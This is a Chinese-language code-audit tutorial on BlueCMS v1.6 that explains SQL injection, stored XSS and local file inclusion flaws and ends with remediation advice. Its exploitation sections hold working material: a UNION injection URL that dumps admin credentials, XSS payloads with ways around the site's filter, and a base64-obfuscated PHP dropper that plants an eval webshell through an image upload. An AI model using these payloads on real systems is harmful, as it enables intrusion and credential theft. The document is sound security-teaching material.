从小众blueCMS入坑代码审计
字数 1437 2025-08-18 11:38:08

BlueCMS v1.6 代码审计与漏洞分析教学文档

一、环境准备

  • 目标系统:BlueCMS v1.6
  • 测试环境:
    • Phpstudy(快速搭建环境)
    • PHP 5.2 + Apache + MySQL
    • 操作系统:Windows 7 64位

二、漏洞分析

1. SQL注入漏洞(问题1)

漏洞文件ad_js.php

漏洞原理

  • 系统在common.inc.php中对$_POST$_GET$_COOKIES$_REQUEST进行了统一的GPC处理(通过deep_addslashes函数)
  • ad_js.php中直接拼接变量$ad_id,未使用单引号包裹,绕过了魔术引号的转义

关键代码

// common.inc.php
if(!get_magic_quotes_gpc()) {
    $_POST = deep_addslashes($_POST);
    $_GET = deep_addslashes($_GET);
    $_COOKIES = deep_addslashes($_COOKIES);
    $_REQUEST = deep_addslashes($_REQUEST);
}

// ad_js.php
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

漏洞利用

http://172.16.69.2/bluecms/ad_js.php?ad_id=1 UNION SELECT 1,2,3,4,5,6, GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin

2. SQL注入漏洞(问题2)

漏洞文件comment.php

漏洞原理

  • 系统遗漏了对$_SERVER变量的过滤
  • 通过伪造HTTP_CLIENT_IPHTTP_X_FORWARDED_FOR等HTTP头可注入SQL

关键代码

function getip() {
    if (getenv('HTTP_CLIENT_IP')) {
        $ip = getenv('HTTP_CLIENT_IP');
    } elseif (getenv('HTTP_X_FORWARDED_FOR')) {
        $ip = getenv('HTTP_X_FORWARDED_FOR');
    } // ... 其他条件
    else {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

3. XSS漏洞(存储型)

漏洞文件1user.php(编辑个人资料处)

漏洞原理

  • 只有$address进行了html转义处理
  • $email$msn变量未充分过滤

关键代码

$email = !empty($_POST['email']) ? trim($_POST['email']);
$msn = !empty($_POST['msn']) ? trim($_POST['msn']);
$address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']);

漏洞利用
emailmsn字段插入XSS payload:

<script>alert(1)</script>

漏洞文件2user.php(添加新闻处)

漏洞原理

  • $descript$content未进行html转义处理
  • filter_data函数的过滤可被绕过

关键代码

function filter_data($str) {
    $str = preg_replace("/<(script|i?frame|meta|link)(\s*)/i", "", $str);
    return $str;
}

绕过方法

  • 使用``
  • 大小写绕过:<ScRipt>alert(1)</ScRipt>
  • 重写绕过:<scir<script>pt>alert(1)</script>

4. 本地文件包含漏洞

漏洞文件user.php(支付功能处)

漏洞原理

  • $_POST['pay']未做安全检测直接拼接
  • 无法使用%00截断(POST数据被转义)
  • 可利用文件路径长度截断(Windows 259字节,Linux 4096字节)

关键代码

include 'include/payment/'.$_POST['pay']."/index.php";

利用步骤

  1. 上传图片马(如devilzShell.jpg
  2. 包含该文件执行恶意代码

高级利用
上传包含以下代码的JPG文件:

<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='))?>

执行后会在根目录生成lost.php小马:

<?php @eval($_POST['lostwolf']);?>

三、漏洞修复建议

  1. SQL注入防护

    • 对所有用户输入进行严格过滤
    • 使用预处理语句(PDO或mysqli)
    • $_SERVER变量也进行过滤
  2. XSS防护

    • 对所有输出到页面的变量进行html实体编码
    • 使用更严格的过滤函数
    • 实施CSP策略
  3. 文件包含防护

    • 限制包含的文件路径
    • 对用户输入进行白名单验证
    • 禁用危险函数如includerequire
  4. 文件上传防护

    • 验证文件类型和内容
    • 限制上传目录的执行权限
    • 重命名上传文件

四、总结

本教学文档详细分析了BlueCMS v1.6中的多个安全漏洞,包括:

  • 2种不同的SQL注入漏洞
  • 2处存储型XSS漏洞
  • 1处本地文件包含漏洞

通过实际代码分析和漏洞复现,展示了漏洞的发现过程和利用方法。这些漏洞的根源在于:

  1. 输入验证不充分
  2. 输出编码缺失
  3. 危险函数的不当使用
  4. 安全过滤的遗漏

对于代码审计新手,建议:

  1. 从简单的CMS系统开始审计
  2. 重点关注用户输入点和敏感函数
  3. 建立系统的审计流程和方法
  4. 多参考优秀的安全分析文章
BlueCMS v1.6 代码审计与漏洞分析教学文档 一、环境准备 目标系统:BlueCMS v1.6 测试环境: Phpstudy(快速搭建环境) PHP 5.2 + Apache + MySQL 操作系统:Windows 7 64位 二、漏洞分析 1. SQL注入漏洞(问题1) 漏洞文件 : ad_js.php 漏洞原理 : 系统在 common.inc.php 中对 $_POST 、 $_GET 、 $_COOKIES 和 $_REQUEST 进行了统一的GPC处理(通过 deep_addslashes 函数) 但 ad_js.php 中直接拼接变量 $ad_id ,未使用单引号包裹,绕过了魔术引号的转义 关键代码 : 漏洞利用 : 2. SQL注入漏洞(问题2) 漏洞文件 : comment.php 漏洞原理 : 系统遗漏了对 $_SERVER 变量的过滤 通过伪造 HTTP_CLIENT_IP 或 HTTP_X_FORWARDED_FOR 等HTTP头可注入SQL 关键代码 : 3. XSS漏洞(存储型) 漏洞文件1 : user.php (编辑个人资料处) 漏洞原理 : 只有 $address 进行了html转义处理 $email 和 $msn 变量未充分过滤 关键代码 : 漏洞利用 : 在 email 或 msn 字段插入XSS payload: 漏洞文件2 : user.php (添加新闻处) 漏洞原理 : $descript 和 $content 未进行html转义处理 filter_data 函数的过滤可被绕过 关键代码 : 绕过方法 : 使用 `` 大小写绕过: <ScRipt>alert(1)</ScRipt> 重写绕过: <scir<script>pt>alert(1)</script> 4. 本地文件包含漏洞 漏洞文件 : user.php (支付功能处) 漏洞原理 : $_POST['pay'] 未做安全检测直接拼接 无法使用 %00 截断(POST数据被转义) 可利用文件路径长度截断(Windows 259字节,Linux 4096字节) 关键代码 : 利用步骤 : 上传图片马(如 devilzShell.jpg ) 包含该文件执行恶意代码 高级利用 : 上传包含以下代码的JPG文件: 执行后会在根目录生成 lost.php 小马: 三、漏洞修复建议 SQL注入防护 : 对所有用户输入进行严格过滤 使用预处理语句(PDO或mysqli) 对 $_SERVER 变量也进行过滤 XSS防护 : 对所有输出到页面的变量进行html实体编码 使用更严格的过滤函数 实施CSP策略 文件包含防护 : 限制包含的文件路径 对用户输入进行白名单验证 禁用危险函数如 include 、 require 等 文件上传防护 : 验证文件类型和内容 限制上传目录的执行权限 重命名上传文件 四、总结 本教学文档详细分析了BlueCMS v1.6中的多个安全漏洞,包括: 2种不同的SQL注入漏洞 2处存储型XSS漏洞 1处本地文件包含漏洞 通过实际代码分析和漏洞复现,展示了漏洞的发现过程和利用方法。这些漏洞的根源在于: 输入验证不充分 输出编码缺失 危险函数的不当使用 安全过滤的遗漏 对于代码审计新手,建议: 从简单的CMS系统开始审计 重点关注用户输入点和敏感函数 建立系统的审计流程和方法 多参考优秀的安全分析文章